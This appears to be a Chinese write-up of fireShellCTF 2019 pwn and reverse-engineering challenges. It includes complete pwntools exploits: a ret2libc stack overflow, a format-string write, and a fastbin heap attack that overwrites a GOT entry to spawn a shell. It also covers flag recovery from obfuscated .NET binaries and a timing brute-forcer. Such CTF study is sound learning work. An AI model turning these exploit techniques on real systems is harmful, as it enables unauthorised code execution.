fireShellCTF 2019 RE&PWN

栏目: ASP.NET · 发布时间: 5年前

内容简介:这题就是一个简单的栈溢出,有不过做题时有点问题,本地成功,远程没有回显,看到这题叫

fireShellCTF 2019 RE&PWN

PWN

leakless

这题就是一个简单的栈溢出,有 puts ,依次泄露libc版本,getshell即可

不过做题时有点问题,本地成功,远程没有回显,看到这题叫 leakless ,感觉事情不太对劲

然而换了题目给的备用服务器就成功了,这里利用了一个libcSearch的库但是读者可以利用libc-data进行一个搜索。题目比较简单就不多说了。

from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = "debug"

p = remote("35.243.188.20" , 2002)
elf = ELF("./leakless")

payload = "a" * 0x48 + "b" * 4 + p32(elf.plt["puts"]) + p32(elf.sym["feedme"]) + p32(elf.got["puts"])
p.sendline(payload)
puts_addr = u32(p.recv(4))
libc = LibcSearcher("puts" , puts_addr)
libc_base = puts_addr - libc.dump("puts")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")

payload = "a" * 0x48 + "b" * 4 + p32(system) + p32(elf.sym["feedme"]) + p32(bin_sh)
p.sendline(payload)

p.interactive()

这个题有点意思,首先是一个printf的洞

fireShellCTF 2019 RE&PWN

时间种子和unix时间戳有关,后面循环99次,如果v5(累加和)大于100就打印flag

注意到这里循环只有99次,而bet只有1,也就是说就算数字正确99次,也不满足条件

正好printf还没用上,就用来把bet改成一个稍大的值,2就可以

from pwn import *
context.log_level = 'debug'

#p = process("./casino")
p = remote("35.243.188.20","2001")
payload = "aaa%11$n" + p64(0x602020)

p.send(payload)
p.interactive()

exp里只改了bet的值,然后交给终端交互,因为感觉time写起来有点麻烦,time和rand相关都交给C了

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<time.h>

int main(int argc, char**argv) {
    unsigned int t = time(0);
    unsigned int seed = t / 0xA + 3;
    srand(seed);
    for (int i = 0; i < 100; i++) {
        printf("%d ", rand());
    }
    return 0;
}

因为时间种子是unix时间戳除以10,所以有很大的容错性…

把C代码输出结果喂给终端就可以了

不过有点坑的地方是,远程经常死在42/100和83/100,也没想到理由

然而换了个服务器就好了

babyheap

这个题目刚拿到的时候还是比较困恼的因为这里没有可以泄漏的函数,但是发现给我们的buf是一个空指针可以利用这个空指针进行操作。

fireShellCTF 2019 RE&PWN

这里简单的看一看主程序,其中很多我们有进行标名称大概就是一个create函数(只可执行有限次数)无法输入字符仅用做固定0x60进行malloc

然后delte操作,然后edit操作,接着给了我们一个gift操作这里可以让我们额外申请一个块且可输入。

这里有一个uaf洞,但是说实在的其中没有常规泄漏的操作让我有点迷,最后发现存在buf这一个空指针可以加以利用。

fireShellCTF 2019 RE&PWN

fireShellCTF 2019 RE&PWN

利用思路

首先利用错位技术绕过对size的检查和fastbin attack将我们的堆分配到bss段从而改变buf指针,指向atoi函数,泄漏出libc及地址。下一步buf->atoi->got,将got内容改为system然后在下次选项输入/bin/sh就可以getshell了。

from pwn import *
p=process('./babyheap')
#p=remote('51.68.189.144',31005)
context(log_level='debug')
a=ELF('./babyheap')
e = a.libc
p.readuntil('>')
gdb.attach(p)
def create():
    p.writeline('1')
    p.readuntil('>')
def dele():
    p.writeline('4')
    p.readuntil('>')    
def edit(a):
    p.writeline('2')
    p.readuntil('Content?')
    p.write(a)
    p.readuntil('>')
def gift(a):
    p.writeline('1337')
    p.readuntil('Fill')
    p.write(a)
    p.readuntil('>')
create()
dele()

edit(p64(0x602095-8))
create()
gift('a'*(59-0x10)+p64(0x602060))

p.writeline('3')
p.readuntil('Content: ')
libc=u64(p.readuntil('n')[:-1].ljust(8,'0'))-e.symbols['atoi']
oneget=libc+e.symbols['system']    
edit(p64(oneget))
print hex(oneget)
p.write('/bin/sh')
p.interactive()

RE

Blackbox-0

.net 的逆向,加了混淆,用 dnSpy 打开,转到入口点后,调试很久后发现在 u000Fu2009 处发现可疑的函数

fireShellCTF 2019 RE&PWN

text是可疑的变量,下断点后运行几次发现base64加密后的flag

RiN7TmljZV9hbmFsaXN5c19icm9fPV1ffQo=

解密后得到flag: F#{Nice_analisys_bro_=]_}

Blackbox-1

和第一题差不多,断点位置也几乎一样,不过这次下了断点两下就出明文flag了

fireShellCTF 2019 RE&PWN

Blackbox cipher

和前两题差不多,关注 u0002u200A 函数的第80行 result

可疑的字符串 RiN7SXQnc19hbGxfYWJvdXRfbWVtb3J5X2ZvcmVuc2ljc30K

base64解密后发现 F#{It's_all_about_memory_forensics}

三题设置的比较简单,但还是感到自己对混淆这块的不熟悉

crackme

做了前三个逆向,既然都是连蒙带猜的黑盒…

处理函数比较复杂,不太熟悉线程相关,还是黑盒吧

fireShellCTF 2019 RE&PWN

运行下这个程序,尝试输入几次,发现输入 F#F#{ 时,会有一些线索

fireShellCTF 2019 RE&PWN

注意到这就是比赛给的一些信息 H4ck1ng Fl4m3s In th3 Sh3lL

猜测这题还是黑盒,用爆破应该就行

IDA看到有一段字符数组,里面有 F # { } ,应该就是爆破需要的字符集

fireShellCTF 2019 RE&PWN

而如果输入的k个字符和flag的前k位有不同,那么程序会过很久才会回显,利用这一点可以在脚本中设置 timeout ,其余部分比较简单

这里赛后学习时找到了一个比我写的好一些的脚本,又修改了一下

from pwn import *
context.log_level = 'debug'

charset = '_#G1VWk92{5toOnCQF6zXpifDh8SdYlev uq0RMajKsrHUx}IyTbgAm3L4BcNEZJ7w'
flag = "F#{"
info = 'H4ck1ng Fl4m3s In th3 Sh3lL'

def func(a, b):    # strcmp
    if len(a)==0:
        return 0
    count = 0
    while a[count] == b[count]:
        count+=1
    return count

def test(c):
    p = process('crackme')
    p.sendline(flag + c)
    result = p.recv(timeout=0.5)
    p.close()
    return result

for i in range(len(info)):
    for c in charset:
        if func(test(c),info) == i+4:
            flag += c
            print flag
            break
# add '}'

总结

题目有难有简单,打国际赛最主要的涨姿势和开拓自己的眼界。。。继续学习道路漫长


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

算法设计与分析基础

算法设计与分析基础

Anany levitin / 潘彦 / 清华大学出版社 / 2007-1-1 / 49.00元

作者基于丰富的教学经验,开发了一套对算法进行分类的新方法。这套方法站在通用问题求解策略的高度,能对现有的大多数算法都能进行准确分类,从而使本书的读者能够沿着一条清晰的、一致的、连贯的思路来探索算法设计与分析这一迷人领域。本书作为第2版,相对第1版增加了新的习题,还增加了“迭代改进”一章,使得原来的分类方法更加完善。 本书十分适合作为算法设计和分析的基础教材,也适合任何有兴趣探究算法奥秘的读者......一起来看看 《算法设计与分析基础》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器